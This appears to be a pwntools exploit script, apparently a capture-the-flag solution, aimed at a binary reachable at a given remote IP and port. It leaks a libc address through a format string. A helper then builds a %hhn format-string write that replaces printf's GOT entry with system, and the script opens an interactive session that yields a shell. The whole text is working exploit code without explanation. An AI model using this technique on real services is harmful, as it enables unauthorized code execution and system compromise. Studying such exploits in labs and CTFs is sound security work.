1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136
|
from pwn import *
local = 1 host = '183.129.189.60' port = 10043 context.log_level = 'debug' exe = './5c149c66064fa' context.binary = exe elf = ELF(exe) libc = elf.libc
if local: io = process(exe) else: io = remote(host,port)
s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) ru = lambda delim,drop=True : io.recvuntil(delim, drop) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(io,"b *{}".format(hex(addr)))
def getAddr(write): xor = 0xff addr = [] for i in range(6): result = (xor & write) >> (i * 8) if result != 0: addr.append(result) xor = xor * 0x100 return addr
def Partion(write, bewrite): addr = getAddr(write) part = [] for i in range(len(addr)): part.append( (addr[i], p64(bewrite+i)) ) part.sort(key=lambda tup: tup[0]) return part
def sizeUp(part): size = [] for i in range(len(part)): size.append(part[i][0]) return size
def packAddr(part): addr =''.join(x[1] for x in part) address = ''.join(addr) return address
def offsetDeal(size): length = 12 * len(size) if length % 8 != 0: offset = length / 8 + 1 else: offset = length / 8 length = offset * 8 offset += 6 return offset, length
def payloadGenerate(size, offset): payload = "%{}c%{}$hhn".format(size[0], offset) for i in range(1, len(size)): payload += "%{}c%{}$hhn".format(size[i]-size[i-1],offset+i) return payload
def fmt_payload(bewrite, write, offset=0): part = Partion(write, bewrite) size = sizeUp(part) address = packAddr(part)
result = offsetDeal(size) if offset == 0: offset = result[0] length = result[1] print 'offset is:' + str(offset) payload = payloadGenerate(size, offset) payload = payload.ljust(length, 'a') payload += address
return payload def exp(): sl("%2$llx") libc.address = int(r(12),16) - 0x1bc590 lg("libc_addr", libc.address) printf_got = elf.got['printf'] system_addr = libc.symbols['system'] payload = fmt_payload(printf_got, system_addr, 17) """ gdb.attach(io,''' b printf c ''') """ sl(payload)
if __name__ == '__main__': exp() io.interactive()
|